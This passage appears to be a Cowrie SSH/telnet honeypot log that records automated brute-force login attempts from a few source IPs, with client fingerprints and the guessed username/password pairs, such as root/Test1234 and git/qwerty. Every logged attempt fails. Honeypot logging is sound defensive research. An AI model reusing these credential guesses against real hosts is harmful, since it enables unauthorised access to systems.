{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:12.633722Z","src_ip":"176.65.132.129","session":"12f2703c386b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40928,"dst_ip":"159.203.135.109","dst_port":22,"session":"34bca25bbb60","protocol":"ssh","message":"New connection: 176.65.132.129:40928 (159.203.135.109:22) [session: 34bca25bbb60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:14.623262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:14.627123Z","src_ip":"176.65.132.129","session":"34bca25bbb60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:14.708647Z","src_ip":"176.65.132.129","session":"34bca25bbb60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"opc","message":"login attempt [opc/opc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:14.956516Z","src_ip":"176.65.132.129","session":"34bca25bbb60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":41856,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae0993fc959e","protocol":"telnet","message":"New connection: 45.58.127.90:41856 (10.17.0.5:23) [session: ae0993fc959e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:15.766794Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:16.041700Z","src_ip":"176.65.132.129","session":"34bca25bbb60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34978,"dst_ip":"159.203.135.109","dst_port":22,"session":"17f61ab5a55e","protocol":"ssh","message":"New connection: 176.65.132.129:34978 (159.203.135.109:22) [session: 17f61ab5a55e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:18.191226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:18.196798Z","src_ip":"176.65.132.129","session":"17f61ab5a55e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.2672758102417,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:18.215925Z","src_ip":"45.58.127.90","session":"9bb7e9d6755b","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:18.283733Z","src_ip":"176.65.132.129","session":"17f61ab5a55e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test1234","message":"login attempt [root/Test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:18.541398Z","src_ip":"176.65.132.129","session":"17f61ab5a55e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:19.627563Z","src_ip":"176.65.132.129","session":"17f61ab5a55e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":55230,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c8f9aaed9e4","protocol":"telnet","message":"New connection: 45.58.127.90:55230 (10.17.0.5:23) [session: 2c8f9aaed9e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:19.702700Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":34990,"dst_ip":"159.203.135.109","dst_port":22,"session":"221db1f7a145","protocol":"ssh","message":"New connection: 176.65.132.129:34990 (159.203.135.109:22) [session: 221db1f7a145]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:21.600811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:21.605660Z","src_ip":"176.65.132.129","session":"221db1f7a145","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:21.687999Z","src_ip":"176.65.132.129","session":"221db1f7a145","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sadmin","password":"sadmin","message":"login attempt [sadmin/sadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:21.933324Z","src_ip":"176.65.132.129","session":"221db1f7a145","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:23.017319Z","src_ip":"176.65.132.129","session":"221db1f7a145","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.35922145843506,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:23.365055Z","src_ip":"45.58.127.90","session":"5b56b74e1ea1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35000,"dst_ip":"159.203.135.109","dst_port":22,"session":"c75f0b49d3b2","protocol":"ssh","message":"New connection: 176.65.132.129:35000 (159.203.135.109:22) [session: c75f0b49d3b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:25.165188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:25.216195Z","src_ip":"176.65.132.129","session":"c75f0b49d3b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:25.250498Z","src_ip":"176.65.132.129","session":"c75f0b49d3b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpuadmin","password":"gpuadmin","message":"login attempt [gpuadmin/gpuadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:25.574616Z","src_ip":"176.65.132.129","session":"c75f0b49d3b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:26.660699Z","src_ip":"176.65.132.129","session":"c75f0b49d3b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.364747524261475,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:26.819246Z","src_ip":"45.58.127.90","session":"a828409b24e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.106.245.20","src_port":46235,"dst_ip":"10.17.0.5","dst_port":22,"session":"beff49a0520a","protocol":"ssh","message":"New connection: 193.106.245.20:46235 (10.17.0.5:22) [session: beff49a0520a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:27.785914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:27.790573Z","src_ip":"193.106.245.20","session":"beff49a0520a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:27.913720Z","src_ip":"193.106.245.20","session":"beff49a0520a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"qwerty","message":"login attempt [git/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:28.441795Z","src_ip":"193.106.245.20","session":"beff49a0520a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33346,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b327b04577f","protocol":"ssh","message":"New connection: 176.65.132.129:33346 (159.203.135.109:22) [session: 7b327b04577f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:28.539031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:28.544616Z","src_ip":"176.65.132.129","session":"7b327b04577f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:28.627605Z","src_ip":"176.65.132.129","session":"7b327b04577f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"123456","message":"login attempt [fastuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:28.876447Z","src_ip":"176.65.132.129","session":"7b327b04577f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.48377084732056,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:29.391030Z","src_ip":"45.58.127.90","session":"6514c11951cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.22802782058716,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:29.442512Z","src_ip":"45.58.127.90","session":"d66366b5e886","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:29.570885Z","src_ip":"193.106.245.20","session":"beff49a0520a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:29.982063Z","src_ip":"176.65.132.129","session":"7b327b04577f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33372,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d8ed093038b","protocol":"ssh","message":"New connection: 176.65.132.129:33372 (159.203.135.109:22) [session: 2d8ed093038b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:31.930376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:31.934753Z","src_ip":"176.65.132.129","session":"2d8ed093038b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:32.021269Z","src_ip":"176.65.132.129","session":"2d8ed093038b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456","message":"login attempt [root/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:32.465824Z","src_ip":"176.65.132.129","session":"2d8ed093038b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:33.552541Z","src_ip":"176.65.132.129","session":"2d8ed093038b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":33390,"dst_ip":"159.203.135.109","dst_port":22,"session":"763f4bc57312","protocol":"ssh","message":"New connection: 176.65.132.129:33390 (159.203.135.109:22) [session: 763f4bc57312]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:35.488616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:05:35.493510Z","src_ip":"176.65.132.129","session":"763f4bc57312","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 